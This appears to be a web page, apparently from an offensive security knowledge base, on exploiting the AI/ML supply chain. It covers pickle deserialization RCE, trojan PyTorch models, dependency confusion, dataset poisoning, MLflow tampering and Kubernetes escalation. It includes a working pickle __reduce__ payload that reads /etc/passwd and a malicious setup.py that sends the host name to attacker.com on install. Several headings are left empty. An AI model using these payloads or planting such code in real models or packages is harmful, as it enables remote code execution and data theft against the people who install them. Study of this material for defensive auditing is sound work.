AI Supply Chain Exploitation

Methodology for exploiting the AI/ML supply chain: model serialization RCE, dependency confusion, dataset poisoning, CI/CD injection, and container escape.

AI Supply Chain Exploitation

The AI/ML supply chain relies on implicit trust at every layer: models downloaded as opaque binary blobs, datasets pulled from unverified sources, and training pipelines that execute arbitrary code during preprocessing. Unlike traditional software supply chains with signatures and checksums, the ML ecosystem normalizes running untrusted code as standard practice.

Model Serialization Attacks

Methodology

1. 1

   Craft a basic pickle RCE payload

   The __reduce__ method tells pickle how to reconstruct an object. Return os.system with a shell command to achieve code execution on pickle.loads().

   Basic pickle RCE payload using __reduce__pythonShow code

   import pickle, os
    
   class MaliciousModel:
       def __reduce__(self):
           return (os.system, ("id; whoami; cat /etc/passwd",))
    
   payload = pickle.dumps(MaliciousModel())
   # pickle.loads(payload) triggers RCE

2. 2

   Embed payload in a PyTorch model file

   PyTorch's torch.save() uses pickle internally. Create a trojan model that executes a payload during torch.load() while returning valid weights so the victim notices nothing wrong.

3. 3

   Distribute via HuggingFace Hub

   Upload the weaponized model to HuggingFace Hub using one of the attack vectors below.

HuggingFace Attack Vectors

Safetensors Limitations

Safetensors solves weight storage but has important gaps:

1. Models may still require pickle for optimizer states, training config, or custom architectures
2. Loaders may fall back to pickle if safetensors files are missing
3. trust_remote_code=True executes arbitrary Python regardless of weight format
4. A model card can claim safetensors format while actual files are pickle

Dependency Confusion and Typosquatting

Dependency confusion exploits the interaction between private and public package indices.

Attack Steps

1. 1

   Identify internal package names

   Enumerate internal ML package names from job postings, GitHub repos, error messages, or documentation leaks.

2. 2

   Publish to public PyPI with high version

   Create a package with the same name and version 99.0.0. If the target uses --extra-index-url (instead of --index-url), pip installs the higher version from public PyPI.

   Dependency confusion setup.py with beacon exfiltrationpythonShow code

   # setup.py for the malicious package
   from setuptools import setup
   import os, urllib.request
    
   try:
       hostname = os.uname().nodename
       urllib.request.urlopen(f"https://attacker.com/dep-confusion?host={hostname}")
   except: pass
    
   setup(name="acme-ml-utils", version="99.0.0", packages=["acme_ml_utils"])

3. 3

   Exploit typosquatting for broader targeting

   Target commonly mistyped ML package names.

Common Typosquat Targets

Dataset Poisoning

Datasets on HuggingFace Datasets, Kaggle, and academic repositories are consumed with minimal verification. Two primary attack patterns:

CI/CD Pipeline Injection

Vulnerable ML Pipeline Checklist

Audit ML training workflows for these four critical flaws:

Experiment Tracking as Attack Surface

With MLflow tracking server access, an attacker can:

1. Alter hyperparameters loaded by training runs
2. Redirect artifact references to malicious model checkpoints
3. Modify dataset version tags to point to poisoned data
4. Overwrite production model registrations with trojanized checkpoints

Container Escape in ML Infrastructure

GPU Container Attack Surface

GPU containers expand the standard container attack surface because they typically require:

GPU Memory Remnant Scanning

On shared GPU infrastructure, previous tenants' data (model weights, training samples, API keys) may persist in uninitialized GPU memory. Allocate uninitialized tensors via torch.empty(..., device='cuda') and scan for non-zero values.

Kubernetes ML Cluster Escalation Path

1. 1

   Compromise the training job

   Via poisoned dependency or data pipeline injection.

2. 2

   Read mounted secrets

   AWS credentials, HuggingFace tokens from mounted Kubernetes secrets.

3. 3

   Access shared model storage

   Replace production models on NFS mounts with trojaned versions.

4. 4

   Pivot to data lake

   Exfiltrate training data from shared mounts.

5. 5

   Escape to node

   Use privileged container access (privileged: true) for node-level compromise.

Supply Chain Audit Checklist

Related Topics

• Pickle Exploits — Pickle deserialization is a key supply chain vector
• App Security — Application-level security for AI systems

References

• OWASP Machine Learning Security Top 10 — ML-specific supply chain risks
• Hugging Face Security — Model hub security documentation
• Fickling: Pickle decompiler and static analyzer — Trail of Bits pickle security tool